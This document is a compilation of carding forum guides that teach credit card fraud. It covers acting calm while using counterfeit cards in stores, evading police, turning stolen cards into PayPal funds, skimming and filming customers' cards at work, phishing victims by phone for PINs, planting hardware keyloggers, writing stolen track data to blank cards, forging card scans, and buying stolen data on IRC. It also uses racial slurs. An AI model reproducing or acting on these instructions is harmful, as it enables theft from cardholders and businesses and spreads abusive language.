Carding-it's time to see how good an actor you are.You need to act like this is your card. Whatever happens this is your card and you need to stay calm. So,it's time to start working on your social engineering skills. The quickest way to get a person to drop their guard and get them to trust you is with a good sense of humor and a smile.These cashiers see it all in the 8hrs of misery that is a normal workday for them. So,get them smiling and laughing and that pos terminal could say you just killed someone and the cashier could care less. In the entire time I've been doing this I manage to encode the wrong dump onto matching plastic twice and I remember both times vividly.Firsst time the cashier still had the card in her hand when message popped up incorrect last four. We were allready laughing about something else and I just said "Good thing your computer waited until closing to crap out on you,,try this one and if there is still a problem with it I can just write a check and all she said was as long as it lasted long enough for her to ring out with in 5 min she didn't care". Second time was on a saturday morning and I had the card still in my hand and read it off and that same error code for wrong last four popped out and all I said was"it finally happened I drank so much last night that I forgot how to read and oh shit that was the wrong card anyways,,no money on it" Remember guys only criminals run and these guys aren't cops they CAN'T touch you unless you hit first,,all they can do is folllow you and call the cops.

Avoid hitting small chain stores more than one day in a row- They WILL fax out your photo to other stores in the area if you hit them repeatedly

I don't care how many of the same chain store you've been in and they don't check last four-if your carding in a new town and going to that same chain--use matching plastic. If they have been hit hard before or are in a town with a high crime rate,,they will be checking and avoid the stores in ghettos-your just asking for trouble there.

If you notice the cashier has forgot to charge you for something--point out the mistake and get them to fix it! The last thing you want is to be wallking out the door and have the cashier come out after you,,because they just noticed the mistake and now you can go back in and try your luck again or give it back with possibly your finger prints on it.

Now for the not so nice shit--if you ever get pulled over by the cops and they ask to search your car you say NO everytime they ask you say NO! They say they have you on video using a stolen card,,blah-blah.

You say NO. They can't arrest you without PROOF of a crime. And there is no way the cardholder has been down to file a police report within the same day you were using the card.And they can't search your property without a warrant. So, as long as there is nothing illegal on you they can arrest you for when they pat you down or anything in their computer on you,,your going home that night and allways put shit in your trunk,out of sight that way they can't say the so called stolen property was in plain sight,,allways use the trunk. And don't lie to them! Remember these statements "Really?,, I don't remember that" or "if you say so,,I don't remember" or if your a really greasy shit like me,,you pull out your lawyers business card and tell them any questions other than those need to identify you should be asked to him.

Lastly NEVER-EVER emboss and encode the card holders real name and info on a card! I cannot stress this fact enough! If the feds catch you with these cards it is 6 months per card-consecutive! Which means 10 cards gets you 60 months in club fed,,where if the cardholder name was fake you might have gotten off with plea deal of time served and probation with restitution.

Good luck noobs and stay safe

Instore Carding Actions

In-Store Carding, the art of using conterfeit credit cards in order to obtain merchandise from stores. This article is for education only and to make those gain more knowledge

---
/Instore Carding Tips, Tricks,

"First things first:"

as trustfunded wrote, "this is your card", this is rule number one. you must convince yourself that this is your card. being paranoid, scared, or nervous is a perfect way to get busted and tip off a clerk or any employee of a store. you must appear like the ordinary customer, just like you were going to buy something legit. it is now 2006, the days of dumps working for weeks without a problem are not that common. banks are becoming more secure and pushing new methods of fraud tracing out all the time.

this will not go into how to encode dumps or talk about where to get them. refer to the forum to find this kind of stuff.

"security, the swipe,
when you go out to card instore it can go two ways. you can succeed or fail. if you succeed you will most likely be outside of the store without handcuffs on and some free shit in hand. if you fail, maybe you got a decline, call for auth, or maybe in the back of the police cruiser.

1. Keep your guard up:
personal security is the most important thing about pulling off one of these operations. be yourself, calm voice, do not ever say the word stole/steal/stolen/jacked/hacked in the store. you never know whos listening to you! park away from the store, walmart has cameras outside and can see your license plate. you may think you got away, but if the bank goes after you the FBI will damn sure see that camera feed.

2. Talk:
don't be scared to talk to the clerks about products, or anything! if you are very shy then maybe you ought to work on snapping out of it, being friendly with the clerk before the big swipe makes a huge difference. if pick out a older lady throw a stupid question out there such as "hows your day been" or "has it been busy? it has been so crowded everywhere during the holidays". maybe a young guy, "whats goin on man", "i went to a party last night and was smashed im so tired". sound stupid? well i'll tell you first hand it isn't, it WORKS.

3. Checkout:
when you first walk in, always scope out the register. see who is working, what kind of terminal it is (self swipe, etc), just so you do not run into something you don't want to mess with, whatever you do, DON'T stare over there because it might just make you look stupid or alert somebody because they believe you want to rob them or something.

a. Standing in line
standing in line just sucks, it really does. don't keep looking behind you. keep your head straight, don't laugh for no reason, and most importantly, do not look directly at a camera. talking is not necessary. a cell phone might be handy or maybe you can take a look at the product your getting.

b. the "swipe"
this is the most important part of instore carding, the swipe. this is where it goes down. if you have to hand the card over, go for it. as soon as the clerk swipes pull the hand out trick. put your hand over the register acting like you want the card back and most of the time they'll give it back. if not, then ask. you WANT, you NEED, you REQUIRE the card back. your prints are there so you better get it. if you self swipe, a good trick is to swipe it and put it away as fast as possible. not fast to where your practically going 400mph but you get the picture. this makes the clerk hesitate to ask you to see the card, compare signatures, whatever. all mind games here.

c. the "response"
you can get many results after the swipe, here we go.

- approved
you did it, sign that electronic screen or receipt and you are on your way. walk out and get the fuck out of there.

- declined
your cards fucked. either went too high or maybe it was a pick up. i never a clerk suspect a stolen card so i don't know what to suggest. throw them a 2nd card or if you don't have one, ask where an atm is and say you'll be back and just leave.

- call for authorization
tell that mother fucker you need the card back and all it means is that you went over your limit. if its self swipe tell them you have a thing and don't like giving your card to people because your bank said to keep it with you or some stupid excuse. calling for authorization on a card is bad news. some will just say declined, some will actually say "whats the name of the individual", and since you don't know, you're in a hot spot there. you can lie and say its your uncles and he told you to buy it maybe?

4. "where to go"
security is a big issue. i won't tell you all to stay away from malls because i shop there but never go back once you did it, although they have people walking around but most of the time they are looking for shop lifters. they have no reason to suspect you unless your banging out every store there and with a lot of people. any person with instore experience knows about the last 4 digits of the card. some POS terminals make the clerk type them in. if they don't match you are usually ok. tell them the bank is sending you a new card and you are sorry. you assumed you could still use it. radio shack, circuit city, best buy, hot topic, office depot(some), do last four. don't go there unless you spent money on matching plastic. good places to hit are stores inside of a plaza where there basically is no security besides LE patrolling the area

which is usually fine. gas stations are easy but they can kill the dumps in some cases. pay at the pump is a bad idea. i would only recommend it if you were shit broke and needed gas to do more carding. don't fucking gas up anywhere with cameras. next thing you know is you carded a brand new computer just to get busted for 20 dollars worth of gas.

good luck to everybody, have a nice thanksgiving everyone

List sites which charge CC instantly!

https://secure.hulu.com/plus/buy http://www.anchorfree.com/ Steampowered.com Onlive.com vudu.com http://www.tmlewin.co.uk/ http://www.gak.co.uk/ Ea.com www.headblade.com zappos.com facebook.com http://www.bigfishgames.com/ Store.origin.com woot.com

Money from cc to your paypal account

I'll tell you, how to transfer money from stolen cc to your PP account.
There is no nothing hard.

1) Open your paypal
2) Go to Profile -> My Saved Buttons
3) Create Button than a certain amount and copy code for email or integrating button on web page.
4) Found good cc for pp or used hacked account with cc added.
5) Click on Button which was integrated on web page and open checkout page.
6) Used good sock and make payment form cc or hacked pp account.
If everything will be ok, in your account will come money.

Money from cc to your paypal account [Quick Tutorial]

I'll tell you, how to transfer money from stolen cc to your PP account.
There is no nothing hard.

1) Open your paypal
2) Go to Profile -> My Saved Buttons
3) Create Button than a certain amount and copy code for email or integrating button on web page.
4) Found good cc for pp or used hacked account with cc added.
5) Click on Button which was integrated on web page and open checkout page.
6) Used good sock and make payment form cc or hacked pp account.
If everything will be ok, in your account will come money.

More Carding Terms

-CC's that start with number 3xxx-xxxx-xxxx-xxxx are AMEX (or AmericanExpress) and their cvv2 is with 4 digits (some RARE times with 3)
-CC's that start with number 4xxx-xxxx-xxxx-xxxx are VISA and their cvv2 is with 3 digits
-CC's that start with number 5xxx-xxxx-xxxx-xxxx are Mastercard and their cvv2 is with 3 digits
-CC's that start with number 6xxx-xxxx-xxxx-xxxx are Discover(or Novus) and their cvv2 is with 3 digits (some RARE times with 4)

Bank-emitent (Issuing bank) - bank which has issued the card

Billing address - the card owner address

Drop - innerman. His task is to receive the money or goods and, accordingly, to give the part of the earnings to you.

Biling - office, which has agreement with a bank. Also this office assumes payments for the cards.

Card bill - it's a Bank emitent card bill.

Bank-equirer - bank, in which the store opens the account.

Merchant account - bank account for accepting credit cards.

Merchant Bank - bank, through which occur the payments between the buyer and the salesman (frequently it is used as synonym "bank-equirer").

Cardholder - owner of the card.

Validity - suitability card using.

White plastic - a piece of the pure plastic, where the information is plot.

CR-80 - rectangular piece of pure white plastic (without the drawing image) with the size of a credit card with the magnetic strip.

Transaction - charege to the credit card

POS terminal (Point Of Sale terminal) - reading card device, which stands at commercial point.

PIN-code - the sequence, which consists of 4-12 numbers. It is known only to the owner of card. By simple words password for the work with ATM and so on.

AVS - the card owner address checking. It is used for the confirmation of the card belonging exactly to its holder.

"Globe" - card holographic gluing with the image of two hemispheres (MasterCard).

Pigeon (hen) - card holographic gluing with the image of the flying pigeon (VISA).

Reader - information reading device for the readout from the magnetic strip of card.

Encoder - read/write device for the magnetic track of the card.

Embosser - card symbol extrusion device.

Card printer - card information printing device.

Exp.date - card validity period.

Area code - the first of 3 or 6 numbers of the card owner phone.

CVV2, cvv, cvn - 3 or 4 additional numbers, which stand at the end of the number of card.

ePlus - program for checking the cards.

BIN - first 6 numbers of the card number due to those it is possible to learn what bank issued out the card and what is the type of this card (ATM-card, credit, gold, etc.). Synonym of word "Prefix".

Chargeback - the cardholder's bank voids the removal of money from its card.

Dump - information, which is written to the magnetic strip of the card, it consists of 1,2 or 3 tracks.

Track (road) - a part of the dump with the specific information. Every 1-st track is the information about the owner of the card, 2-nd track - information about the owner of card, about the bank issued the card, etc. 3-rd track - it is possible to say - spare, it is used by stores for the addition of the points and other.

Slip - synonym to the word "cheque" (conformably to card settlings).

Card balance - money sum that finding on the card account.
MMN Mothers Maiden Name, important if you want to change the billing address

some terms:

Automated Clearing House (ACH) - the automated clearing house. The voluntary association of

depositors, which achieves clearing of checks and electronic units by the direct exchange of means between the members of association.

Continuous Acqusition and Life-cycle Support (CALS) - the integrated system of the production guaranteeing, purchase and expluatation. This system makes possible to computerize all data about the design, development, production, servicing and the propagation of the production.

Debit Card - Card, which resembles the credit card by the method of using, but making possible to realize direct buyer account debiting at the moment of the purchase of goods or service.

Delivery Versus Payment (DVP) - the system of calculations in the operations with the valuable papers, which ensures the mechanism, which guarantees that the delivery will occur only in the case of payment and at the moment of payment.

Direcht debit - payment levy method, mainly, with the repetitive nature (lease pay, insurance reward, etc.) with which the debitor authorizes his financial establishment to debit his current account when obtaining of calculation on payment from the indicated creditor.

Electronic Fund Transfer (EFT) - the remittance of means, initiated from the terminal, telephone or magnetic carrier (tape or diskette), by transfer of instructions or authorities to financial establishment, that concern to the debiting or crediting of the account (see Electronic Fund Transfer/Point of Sale - EFT/POS).

Electronic Fund Transfer/Point of Sale - EFT/POS - debiting from the electronic terminal, for the means transfer purpose from the account of a buyer into the payment on the obligations, which arose in the course of transaction at the point of sale.

Integrated Circuit (IC) Card - It is known also as chip card. Card equipped with one either several computer micros-chip or integrated microcircuits for identification and storing of data or their special treatment, utilized for the establishment of the authenticity of personal identification number (PIN), for delivery of permission for the purchase, account balance checking and storing the personal records. In certain cases, the card memory renewal during each use (renewed account balance).

Internet - the open world communication infrastructure, which consists of the interrelated computer networks and which provides access to the remote information and information exchange between the computers.

International Standardisation Organisation (ISO) - International organization, which carries out standardization, with the staff office in Geneva, Switzerland.

Magnetic Ink Character Recignition (MICR) - System, which ensures the machine reading of the information, substituted by magnetic inks in the lower part of the check, including the number of check, the code of department, sum and the number of account.

RSA - the coding and autentification technology, developed in 1977 in MIT by Rivest, Shamir and Adel'man, which subsequently opened their own company RSA Data Sechurity, Inc., purchased recently by the company Security Dynamics Technologies, Inc.

Real-Time Gross Settlement (RTGS) - the payment method, with which the transfer of means is achieved for each transaction in obtaining of instructions about the payment. Decrease the risk with the payment.

SSN (Social Security Number) - nine-digit number issued in US only to an individual. Its primary purpose is to track individuals for taxation purposes.

Smart Card - card equipped with integrated circuit and microprocessor, capable to carrying out the calculations.

System risk - the risk, with which the incapacity of one of the payment system participants either financial market participants as a whole to fullfill their obligations causes the incapacity of other participants or financial establishments to fulfill its obligations (including obligations regarding the realization of calculations in means transfer systems) properly. This failure can cause significant liquidity or crediting problems and, as result, it can cause loss to the stability of financial markets (with the subsequent action on the level of economic activity).

Truncation - procedure, which makes it possible to limit the physical displacements of a paper document, in the ideal version, by the bank of the first presentation, by the replacement by electronic transfer of entire or part of the information, which is contained on this document (check).

Tipper - a machine designed for use with PVC plastic cards to create raised print. (basically a plastic card embosser)

COB - Change of billing. Used for online carding, to change the billing address of a card since Online Stores will only ship large items if the billing and shipping address match. You can obtain these from vendors in CP. Once you have this, you can easily change the card address to that of your drop so that the stores ship items to your drop, since the billing and shipping addresses will match.

DOB - Date of birth of the card owner

My Carding Experience

This is a creepcentral publication
Carding: Carding: Online, Instore, Going through vendors and advice, Phishing for change of billing addresses
Including drops and what you need to know;Huge guide written by me

kay major updates done to this carding text, it will cover the basics of most carding knowledge. Going into absolutely everything would mean having to go onto ID theft and fake IDs which can be classed as 2 different categories of their own.

What I'm going to cover:

Online Carding
- A quick overview of what online carding is
- SOCKS and why we use them
- Finding a cardable site and what cardable means
- Carding "non cardable websites" with fake CC scans and other fake documents

Carding while on the job
- Getting CC, CVV, CVV2 through use of mobiles
- Skimming whilst on the job
- Using carbonless receipts to get details (pretty outdated method)

Trashing
- Trashing for receipts and credit reports (pretty outdated although still works)

Phishing over the phone

- Phishing over the phone for details

Keylogging for CVV2s
- Hardware keylogging

Carding Instore
- What instore carding is (very brief)
- How it's done
- How to act and present yourself instore

Carding over the phone
- Carding over the phone

IRC
- Services provided in IRC
- Advantages to using IRC for info
- Disadvantages
- How to find carding channels (Will not go too much into this as there are secrets between fellow carders which we like people interested enough to find out for themselves)
- Vendors and how to approach them
- How to rip in IRC (EVERY vendor, reliable or not has ripped some n00b who acted like they knew what they were doing)
::::WU BUG BULLSHIT and how to rip n00bs and gain more::::

Phishing for Change of billing
- What COB is and why it's useful
- Use through phishing pages
- Use through keylogging

Drops and what you need to know about them
- Drops and what you need to know about them

[b]What carding is[b]
Carding summed up quickly is the act of obtaining someone's credit card information, from the CC#, CVV, CVV2, CVN, and the billing address, along with the expiry date and name of the person the card belongs to along with a signature.

Online Carding
Online carding is the purchasing of goods done over the internet with the CVV2.
Now for you n00bies you're probably wondering what a CVV2 is, it's simply just the database of basic info for the card such as the card type (e.g. Mastercard) First and last name, address and post code, phone number of the card owner, the expiry date (and start date if it's a debit card or prepaid CC), the actual CC number and the CVC (card verification code, which is the 3 digits on the back of the card).

This is the format you usually get them in when you buy off IRC:
:::MC ::: Mr Nigerian Mugu ::: 1234567890123456 ::: 09|11 ::: 01/15 ::: 123 ::: 123 fake street, fakeville, ::: Fake City ::: DE24 TRH ::: 01234-567890 :::

SOCKS and why we use them
Now with ANY fraud at all you have to take precautions so you don't make it easy for anyone to catch you in your wrong doings. As usual I swear against TOR for carding/scammin because most nodes are blacklisted by websites and because TOR cycles through various different proxies; and even if you configure it to go straight through an exit node of your choice it's still not worth it. You can use JAP but make sure you're using some constant sock proxies from the same city, town or area that the card is from; also go wardriving and use a VPN (don't trust anyone off IRC with these, you'll have to do some searching around yourself for a highly trusted one and one which won't comply with LE).

You can get good SOCKS from anyproxy.net (people are selling accounts for the site in IRC all the time), that's the best place but even I ended up losing the account eventually (unknowingly I was sharing it with some Nigerian dude who became selfish).

So we use SOCKS because they stay constant. But don't let that get your guard down, you want FRESH proxies everytime you card.

Finding a cardable site and what cardable means
Basically a cardable site holds these characteristics and what you should be looking for to determine an easily "cardable" website:
- The top one you need to look for on the site's TOS is that they send to any address and not just the one registered on the card (although you can easily get around this if they don't, with a COB, photoshopped verification (will go into detail later) or some social engineering over the phone).
- The next important to look for is if they have a visa verification code or mastercard secure code (most of the time if you ask your vendor they'll include them in your CVV2 details textfile), if they do have one of these you have to put in and you don't have them then don't waste your time
- If they ship internationally (for obvious reasons, but you can just stick to local websites and order to your local drop)
- If they leave packages at the door when no one's in, or around the back in a safe area (I know of one site in the UK that has all these qualities including this one, it is perfect for carding clothes)
- Also you can't forget to see what other security checks they need to do (if they need to call you up to verify or want a utility bill, passport or a scan of the actual CC)

It is hard to find websites online now that have most of these qualities, therefore we have to use COBs and photoshop to help us along the way, which is what I'll go into now.

Carding "non cardable websites" with fake CC scans and other fake documents
Okay so say you come across a site that will deliver to another house not registered on the card, but they want verificaton either through phone or scans of a utility bill, credit card or passport.

For this you'll want to get a pay as you go deal for a cheap shitty mobile all in fake details (say a nokia 3210, brick LMAO!), or you can use spoofcard.com to your advantage to help you. Hell if the person's details you're using is local to you and you're daring then go to their home and beige box from there; it'd be very convincing.

If they speak to you over the phone have all details in your mind about the item you're carding, have some bullshit story if you're having it sent to a diff address such as a family member's birthday and you need it there as quick as possible as it's a last minute thing, or some shit like that. If you're carding multiple sites at the same time it's easy to get them mixed up, so make sure who it is calling you 1st.

For CC scans and how to do them check the attachments at the end of this file, they explain so much better than I could. How you use them is once you've made them like the tuts have said to do, you then tilt them a little bit so it does actually look like a scan. To make it even more believable put some paper in the scanner (dark shade if you must), scan it and open in photoshop and then put the shopped CC scan of the front onto it and then do the same with the back, then send the scans to them via e-mail or post. Same goes for utility bills (can be got through trashing or your own, and then edited in PS).

Do not use the same designs when making your CC scans, otherwise it will become too obvious. To give you a head start on mastercards (what I recommend for n00bs to go for) I'm giving you a globe hologram image so you won't have to buy them in IRC; unfortunately all of my visa hologram pics are shit, but I'm working on getting a good one soon.

Carding whilst on the job
Getting CC, CVV, CVV2 through use of mobiles

Believe it or not giving your information out to anyone anywhere is not a wise choice, you can not trust anyone in this day and age. Yes there are carders working on the inside in places where there are a lot of people around flashing off their plastic cash and using them freely without a care in the world. The most common of places for a carder to work at are brand label clothing stores such as Limey's, Charlie Brown's and all the other trendy shops.

Ever noticed when yourself or someone else has paid at the desk with a debit card or credit card that they bring out a keypad from under the desk, then put your card into it and have the buyer input the pin? Think again when they take your credit card and go under the desk with it to get the keypad, they are doing more than just that; just because they're not taking the card and running off with it does not mean they're not stealing your information. A friend of my dad used to card and work in a clothing store, he used to have a piece of play doh stuck under the desk and he used to press the card onto the piece of play doh, unfortunately he began doing it too much and because he'd gotten away with it so many times he became careless and got caught out by a co worker and from what I know he is still doing time. The moral is, be careful with the play doh method. The unfortunate thing is you can only get the full info of 2 cards at the max, and you don't know exactly if you're pressing over the info of another card already put on to the play doh. Also you can't get the CVC through this method, I was just giving a classic example from the olden days.

But there is a new wonderful invention called cameras, video recording, and mobile phones and they are even all working on the same thing. It's best to test it out 1st and have a camera on your phone that is at least over 2 megapixel and allows long enough video recording times. The phone is set to video record and on a lighting if needed, and taped underneath the desk for you to record both sides of the card for all the information you need, as well as being quick you can get a lot more than 2 on, depending on how long each recording lasts, you may need to start more than one recording.

You need good reason to be going under the desk to get the chip and pin machine, so make the desk look cluttered up and put shit in the way of everything, such as coat hangers and various other items; or you could just flat out bullshit the customer and say that the chip and pin machine on the desk isn't working so you need to get the other one, take their card and then go under searching the desk and quickly show it to the camera phone and then get the chip and pin machine and put the card in it and then hand to the customer to put in their pin as normal, unaware you have a CVV2 to later use when shopping online.

Skimming whilst on the job
For skimming you'll want a mini portable MSR500M reader that can be fitted on your waistline belt or of course once again under the desk, if you're a cashier. But you'll also want a MSR206 writer if you plan on writing the tracks to an embossed CR-80 piece of plastic later (you can make these yourself but embossers are expensive and it's an expensive procedure, so wait a while until you do that yourself and buy them from IRC (be careful, people like to rip with plastics, or you'll get shit quality if you don't watch out).

If you plan to just sell the dumps on IRC then that's fine, but you'll still need the PIN as well, so if you're a waiter you can get a cheeky peek at them putting their pin into the chip and pin device while you keep hold of it slightly (have them put the pin in while they're sat down and you're standing up). It's much easier to skim in a restaurant rather than clothing retail, as you don't have to think it out and set it up as much. You can keep the MSR500M in your front pocket of the uniform you're wearing and pretend to be giving the card a clean on the sleeve (bullshit and say the device won't read it), while really you're giving it a swipe into your reader. This way the person doesn't even get suspicious because you don't take their card out of sight with them. I guess you could do that technique with clothing retail too when you get their card in your dirty little hands, but peeking for the PIN is harder or you'll have to have a friend shoulder surf for it (or if they're on the next register have them use a sony cyber shot c902 camera phone and pretend to have them talking on the phone while really they're recording the person next to them putting in their PIN; cybershots are really inconspicuous looking with their cameras and VERY clear [5mpixel]).

I'll go into detail what to do with the dumps you have later in the instore carding section.

Using carbonless receipts to get details (pretty outdated method)
If the store you work at hasn't gone carbonless on the transactions information then you can get most of the info from the receipt you get a copy of for yourself and note down the pin on this as well when/if you get it.

Trashing
Trashing for receipts and credit reports (pretty outdated although still works)
Ever heard the expression "Another man's trash is another man's gold"? That's exactly what this is. You'd be surprised how many people haven't heard of a paper shredder or bonfire. They just dump their financial records containing SSN's/NI, full name, address, bank, credit card number, CVV, CVV2 etc. All on forms people couldn't be bothered to dispose of properly because they thought they were JUST old records. Again carders wok on the inside again for when they want to do trashing, a lot of janitors wear rags but you'd be surprised how secretly rich most of them are (along with the other shit they steal from work as well). But also from this if there is not enough info for you on the forms then there is definitely the phone number of the mark on the form that they've scrapped; almost always, and if not then there is enough info on their to look them up in the phone directory. Then of course you use social engineering skills over the phone to get the extra info that you need. If you know of a store that is not carbonless, then go trashing in the bins at the back of the store for the receipts with the credit card details on it.

Phishing over the phone
Phishing over the phone for details
Ever had telemarketers ask for your credit card info over the phone? (this is if you haven't already hung up by just hearing a nigger or paki on the phone) chances are they're a carder. Believe it or not there are people actually stupid enough to fall for these obvious scams. Even more people fall for this if they believe that the caller is from the credit card company itself or part of the secret service or credit fraud investigations; the FBI, CIA and police have nothing at all to do with credit card fraud believe it or not. If you sound professional or part of an important group such as investigations then people are more likely to comply with you if they believe that their card has been used for credit fraud purposes and have to give their credit card info and billing address for verification. The best time to call up the mark is when they are at work as it'll take them by surprise and they'll be wanting to get it sorted asap so that they can get back to work. Also if it's "serious" then the secret service don't wait for you to finish work before they question you. Play along well to the part you're pretending to be. Some social engineering skills are required and you must gain the experience of lying to people yourself. Before calling up the person find out as much information about them as you can.

If you've stolen a CC from someone personally you can call them up pretending to be their bank and tell them there has been some suspicious charges made to the credit card from places such as South Africa, Nigeria, Turkey, Russia; places like that, get them to confirm their details (milk as much as you want out of them, ask them bullshit security questions such as their mother's maiden name, address, etc; you may as well, it'll make it easier to get a COB for you to use).

You can also get their PIN out of them if you want as well by either straight out asking them to confirm it, or be crafty and after you've told them to verify their PIN you're putting them through to a different department; then play some cheesy music down the phone for a few mins, have a female voice recording (use AV vocie changer) asking them to input their PIN on their dialpad (this won't be as suspicious); get these recorded so they can be decoded with DTMF decoding hardware/software later (although it's expensive). Guessing DTMF tones is pretty easy too, but you need to know what each tone sounds like, it's preferred to use decoding software to ensure you have it correct.

If you try hard enough you can get full info about anyone over the phone (I suggest using spoofcard for this).

Keylogging for CVV2s
Hardware keylogging
First of all it's best if you use hardware keyloggers here that you put into the keyboard of a computer

belonging to an area where a lot of people are going online a lot and logging into e-mails, ebays, paypals etc, pretty much giving you enough info for you to go searching through if you get in their e-mails, or maybe you're lucky enough to get someone who is buying something online anyway. Get the keyloggers from here:
http://tyner.com/datalogger/keykatcher.htm
And come back within 2 days time or so and collect the keylogger after doing some browsing yourself (as to not look suspicious just coming in and then leaving a few seconds later).

Or of course you could set one up in a business and do the classic call in and do some social engineering from the credit card company or secret service and have them go to the bank online and have them log in to verify, or maybe even have them log in to a fake bank online made by yourself that will collect anyone's info who logs in on it.

Carding Instore
Instore carding is the act of skimming a credit card and writing the dumps and track1+2 to a CR-80 piece of plastic and then either cashing out at the ATM or shopping for goods instore, as long as you have the PIN as well through whatever method you choose to use.

How it's done is through the use of thejerm software or any other magstripe utility software (thejerm is the best to use). And you do it like this:
Written by: Acetrace

1. Load up thejerms software

2. hit settings tab

3. hit "Defaults" in Leading Zeros box

4. hit "75 bpi" in Set Track 2 density box

5. go bak to actions

6. hit LoCo or HiCo in Coercivity box, depending on which you want to do

7. input your tracks 1 & 2 (without the % ; or ? symbols because the program already does it for you)

8. hit Write Card and swipe your card. (i usually do a read card afterwards to make sure everything went ok)

9. GO SHOPPING!!!

Download thejerm from here:
Code:

Now how you should act when you go carding instore is pretty much common sense, but some people get caught up in the moment with nerves, cockiness or just too much weird amounts of excitement.

Simple what you do, make sure you KNOW the PIN for the card you're using before you go, don't be stuck at the counter trying to remember it. If you're going to be carding expensive goods then dress smart for the occasion, wear brand named clothing (that you've previously carded) or even a suit. It would look suspicious someone with a hoodie going into a store and buying a Louis Vuitton watch, so walk in with style. When you go instore, you ACT like you are using your own card, because essentially that's what it is (well it is now anyway lol) no looking shifty and don't look at the fucking cameras; the cameras mean nothing anyway, they don't know your name or where you live, they're not being watched half of the time, so stop worrying about the fucking cameras; remember you're doing nothing wrong. When you go in, don't rush take your time, browse around some other items. Find the item you want to card and even ask

the employee simple questions about it (if it's a TV or comp just ask questions about certain specs and if it's good for playing video games on). You'll be most nervous at the checkout, just act as normal as you always have been, don't make too much small talk but be polite and civil. Once you have the good sin your hands don't bolt out the door, just say thank you and then casually walk out the door, get to your car and then celebrate all you want.

The following users say "It is so good to hear it!":

Carding over the phone
Okay 1st of all do not be a dumb fuck now, do not call from your own phones at all. For extra lulz you could use a beige box and call from someone else's phone but that's a totally different game all together and is also a major felony to go agains tyou on the chance that you do get caught so we'll keep it simple and use a payphone (it's not AS risky to phreak these but the only recent red box tones I have are from the year 2007 and I'm pretty sure they'd have changed the system again...bastards, I'll check sometime though) to call them up. Do not put on a stupid voice at all, the salesman/woman will know and it'll be a cause for investigation during the mailing of the goods or the requesting of them. Just be calm, cool and talk to them as you normally would if you were ordering with your own card. They'll ask for a name, name as it appears on card, phone number, billing address, expiration date, method of shipping, and the product that you want to buy. Also when trying to not seem so shifty be sure to ask questions such as if they can deliver the next day or 1st class, and if they can order it to your "relatives" house so that it can be there for their birthday; maybe even ask if they can write a message to go with the gift as well on your behalf . The next day postage is said so that they have less time to look up details on the order. Some cards will have difficulty shipping to any address other than the billing address, but it doesn't hurt to try. If they start to question you then just answer the questions and talk your way around the situation with your social engineering skills; don't just run away from the questions or hang up straight away, otherwise that is cause for suspicion and they may investigate. If all goes well you should have your item of choice delivered to your drop location or a house of someone else's address who you don't know and call them up saying that you called up the store and they've sent the package to the wrong address and it is still sending there, and ask them if they could kindly keep and sign for the package and you'll pick it up after work (this is a last resort and only to be tried if you're good at talking to people, which you should be if you're a carder). I recommend checking out the section on drops later on in this text.

I recommend using spoofcard for verification over the payphone, if they need to verify (if they won't send without some verification which is usually the case).

IRC
Services provided in IRC
IRC is the main gathering for fellow carders, scam artists and rippers. To put it in a nut shell, IRC is THE black market, unlike craigslist and eBay which are just black markets. You can get anything illegal off IRC from CP to warez to CC details (which is what we want).

To concentrate on carding though you can buy:
CVVs
CVV2s
SSNs
Utility bill scans
CC scans
COB (a service to get someone to call up the victim's bank and get the billing address changed to your drop)
Payment for using someone else's drop and then sending to you
Spyware
Fake ID/ ID scans
DUMPZ
Phisher pages

The list really is endless

There are a lot of advantages to using IRC networks and channels which I'll go into now:
- The channels are often underground and not known to many people, so they're harder to stumble upon by some random guy.
- The messages can be encrypted so they can't be read by anyone happening to be on the network sniffing the traffic. This makes it harder for investigators to uncover.
- Easier and quicker to communicate with mass amounts of like minded people.
- Variety of channels to go to if one doesn't suit you (there are MILLIONS and new ones being made every second, guaranteed).
- And of course a varity of services, if you need something you can bet someone from the other side of the world will be willing to share or/and sell to you.

There are a lot of disadvantages though, IRC is the equivalent of a backstreet alley, you'll be fine if you stay cautious, here's what you should be weary of:

- Viruses
- If you don't have strong anti viruses and firewalls you will get infected (no norton shit, kaspersky and NOD32 are what you want)
- Do not accept random .exes or any file for that matter
- It is easy to get ripped off, choose your forms of payments and who you deal with wisely

How to find carding channels (Will not go too much into this as there are secrets between fellow carders which we like people interested enough to find out for themselves)

Here is the most commonly asked question I get asked by n00bies and fellow carders; where do you find these channels?
If I'm being totally honest the best place to find out about them is through Nigerians; no bullshit that is where I found out about a lot of the carder channels I used, also how I found out about forums and their IRCs too such as cardersplanet, darkmarket etc. How I found him out was just on a normal scam bait I was doing, it wasn't a long one, but in the end he tried phishing me so I tried back and we had a laugh about it; I was straight up with him and told him I wanted to get deeper into the game, I looked up to his type of people and wanted to get rich/successful (I also shared the double claim secret about paypal with him which got him trusting me a little bit) he then sent me an invite to cardersplanet (this site was full of Nigerians). Eventually I went in the IRC (admittedly got ripped a few times) then started vending myself under various diff nicknames, then moved onto different sites like darkmarket and cardingzone when I'd got invites for them (although cardingzone is shit it's good to get in the IRC for starting off, you'll get invited to better forums the more you hang out in IRC, trust me). Don't ask me for invites to cardingzone, I was banned for ripping (I didn't rip anyone)

The quicker way is to use these and search for certain keywords:
www.irclinux.org
www.irctrace.com
www.irclog.org
ircarchive.info
www.irc-chat-logs.com
http://www.irseek.com/

And of course don't forget google.

I'm only going to give you one clue for searching through google for a carding IRC, and that word is "undernet".

Fellow carders don't like revealing their IRCs, and for obvious reasons.

My advice is find a scammer through e-mail, and chat to him; be witty with it but be respectful to a fellow fraudster.

Vendors and how to approach them
Vendors are the people in IRC who are selling and providing the services for you. There are certain ways you should speak to vendors otherwise they're going to rip you (remember this is the black market, this is just like going up to a random drug dealer in the street and not knowing what you really want or what you're getting into; you'll get ripped off). Ask as many questions as possible of what you want to know, if you're buying a CVV2 ask to see proof of their details working (get them to make a small purchase somewhere; they should show you a before and after and the limits that are there on the card [there are methods out there of checking your balance; you can even get it through text/sms]. This is a market so remember there are more people that will be willing to buy from that vendor, it's open for all, you can get a full load of info including dumps for as low as £3/$5, drops usually go for £7; if someone is saying higher prices don't be afraid to haggle down to these prices or a little bit lower. COBs go for a little bit higher in ranges of £15-£20 because the vendor needs to get full info on someone and then change the billing address through the bank to where ever your drop is.

Now when you go in the channel don't fucking say or request anything, shut up and see what the vendors are saying they have to offer and then send them a private message and talk to them. If any "vendor" messages you 1st trying to push onto you to buy from them then they're most likely a ripper; however don't piss off the rippers or assume someone is a ripper because you never know who is going to be there to help you out later on down the line or who might be pissed off enough to fuck you over.

